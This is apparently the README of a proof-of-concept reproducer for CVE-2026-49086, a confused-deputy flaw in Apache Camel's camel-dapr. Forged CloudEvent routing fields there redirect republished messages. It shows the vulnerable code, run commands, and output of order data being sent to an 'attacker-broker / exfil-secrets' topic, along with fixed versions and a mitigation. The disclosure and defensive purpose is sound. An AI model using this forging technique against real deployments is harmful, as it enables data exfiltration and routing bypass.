## https://sploitus.com/exploit?id=5EDB39E9-B7D2-5BD2-ACAD-6DB2F2DA8F32
# camel-dapr Consumer Routing-Header Override / Confused Deputy Reproducer (CVE-2026-49086)
This project demonstrates a **routing-header override (confused-deputy)** flaw in Apache Camel's `camel-dapr`
component, tracked as **CVE-2026-49086**.
The Dapr pub/sub **consumer** (`DaprPubSubConsumer`) copies fields of the inbound (untrusted) CloudEvent into
Exchange message headers. Two of those โ `pubsubName` and `topic` โ are **producer-direction routing headers**
(`CamelDaprPubSubName` / `CamelDaprTopic`). When the same route later publishes with a `dapr:pubSub` **producer**,
`DaprConfigurationOptionsProxy` **prefers a header value over the endpoint's configured value**. So the inbound
envelope, which an untrusted message sender controls, silently overrides where the route republishes:
```java
// DaprPubSubConsumer.createServiceBusExchange (affected 4.18.2) โ untrusted envelope -> routing headers
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName()); // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC, cloudEvent.getTopic()); // CamelDaprTopic
// DaprConfigurationOptionsProxy.getOption (affected 4.18.2) โ header WINS over endpoint config
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
? fallbackFn.get() // endpoint config (e.g. audit-broker/audit-log)
: exchangeFn.apply(exchange); // the header copied from the inbound CloudEvent
```
In a route that consumes from one topic and republishes to another (a common audit/forward/fan-out pattern),
an actor who can publish to the **subscribed** topic sets the CloudEvent's `pubsubName`/`topic` and **redirects
the republished message to an arbitrary Dapr pub/sub component + topic** โ exfiltrating the payload to an
attacker-reachable broker, or bypassing the intended routing/ACLs. This is a **confused-deputy**: the app
republishes with its own Dapr credentials to a destination the attacker chose.
This PoC demonstrates the impact as **message redirection / data exfiltration (CWE-441, from CWE-20)**.
Advisory: https://camel.apache.org/security/CVE-2026-49086.html
## Vulnerability Summary
| Property | Value |
|----------|-------|
| **Component** | `camel-dapr` |
| **Affected Class** | `org.apache.camel.component.dapr.consumer.DaprPubSubConsumer` (sets `PUBSUB_NAME`/`TOPIC` headers from the inbound CloudEvent) |
| **CWE** | CWE-20 (Improper Input Validation) / CWE-441 (Unintended Proxy / Confused Deputy) |
| **Impact** | Redirect the republished message to an arbitrary Dapr pub/sub component + topic (exfiltration / routing & ACL bypass) |
| **Preconditions** | A route consumes from a `dapr:pubSub` topic and republishes via a `dapr:pubSub` producer; attacker can publish to the subscribed topic |
| **Affected Versions** | 4.12.0 through 4.14.7, 4.15.0โ4.18.2, 4.19.0โ4.20.x |
| **Fixed Versions** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23630 (PR [apache/camel#23886](https://github.com/apache/camel/pull/23886)) |
| **Credit** | Leon Zlobecki |
> The fix stops the consumer from setting the two routing headers (`CamelDaprPubSubName` / `CamelDaprTopic`); the
> other CloudEvent metadata headers are unchanged. The producer then always uses the endpoint-configured
> pub/sub + topic. (A `DaprHeaderFilterStrategy` was also added for catalog consistency, but the routing-header
> change is the effective fix.)
## Why no Dapr sidecar is needed
The vulnerability is entirely in Camel โ the consumer copying `CloudEvent.pubsubName`/`topic` into routing
headers, and the producer preferring those headers. The Dapr sidecar is only transport. This reproducer injects
**mock Dapr SDK clients** (`client=#mockClient`, `previewClient=#mockPreview`) so the **real**
`DaprPubSubConsumer` and `DaprPubSubHandler` run unchanged with no sidecar: the mock preview client captures the
subscription listener, and the mock client records the publish target. The attacker driver then delivers a forged
CloudEvent to the captured listener โ exactly what a sender able to publish to the subscribed topic triggers.
## The victim route
```java
from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");
```
The author intends **every** order to be mirrored to the fixed `audit-broker/audit-log`. But because the consumer
copies the inbound envelope's `pubsubName`/`topic` into the routing headers, the audit producer publishes to
whatever the envelope names โ never to the configured audit stream.
## Repository layout
Everything runs in one self-contained container.
```
CVE-2026-49086/
โโโ pom.xml # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitive) + spring-boot-web
โโโ Dockerfile
โโโ docker-compose.yml # single self-contained service
โโโ README.md
โโโ src/main/
โโโ java/com/example/
โ โโโ Application.java
โ โโโ DaprMockConfig.java # mock DaprClient + DaprPreviewClient (dynamic proxies; no sidecar)
โ โโโ PublishRecorder.java # records where the producer actually published
โ โโโ SubscriptionRegistry.java # captures the consumer's subscription listener
โ โโโ VictimRoutes.java # dapr:pubSub subscribe -> dapr:pubSub publish (audit)
โ โโโ ExploitController.java # attacker: deliver forged CloudEvents; compare publish target
โโโ resources/
โโโ application.properties
```
## Prerequisites
- Docker and Docker Compose
- Java 17+ and Maven 3.8+
## Reproduction Steps
```bash
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### Expected output
```
=== CVE-2026-49086 โ camel-dapr consumer routing-header override (confused deputy) ===
Route intent: mirror every order to a FIXED audit stream
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")
1) Ordinary order event (envelope pubsub=orders-broker topic=orders)
audit copy actually published to: orders-broker / orders
-> already NOT the configured audit-broker/audit-log: the envelope's routing fields leaked into the producer.
2) Malicious order event (envelope forged: pubsub=attacker-broker topic=exfil-secrets)
audit copy actually published to: attacker-broker / exfil-secrets
leaked order data: {"orderId":"A-1002","card":"4111-2222-3333-4444"}
>>> PROVEN: the inbound CloudEvent's pubsubName/topic overrode the route's hard-coded
>>> audit target, so an attacker who can publish to 'orders' redirects the order copy to
>>> an arbitrary pub/sub component + topic (data exfiltration / routing bypass): true
```
## Recommended Fix
Upgrade to **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23630). After the fix the consumer no longer sets
`CamelDaprPubSubName` / `CamelDaprTopic`, so a `dapr:pubSub` producer downstream of a `dapr:pubSub` consumer uses
its endpoint-configured pub/sub component and topic.
## Mitigation
Until upgrading, strip the routing headers between the consumer and any `dapr:pubSub` producer in the route (for
example `removeHeaders("CamelDaprPubSubName,CamelDaprTopic")`), and set the republish pub/sub + topic from a
trusted source.
## Disclaimer
This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed and
fixed** vulnerability. Do not use it against systems without explicit permission.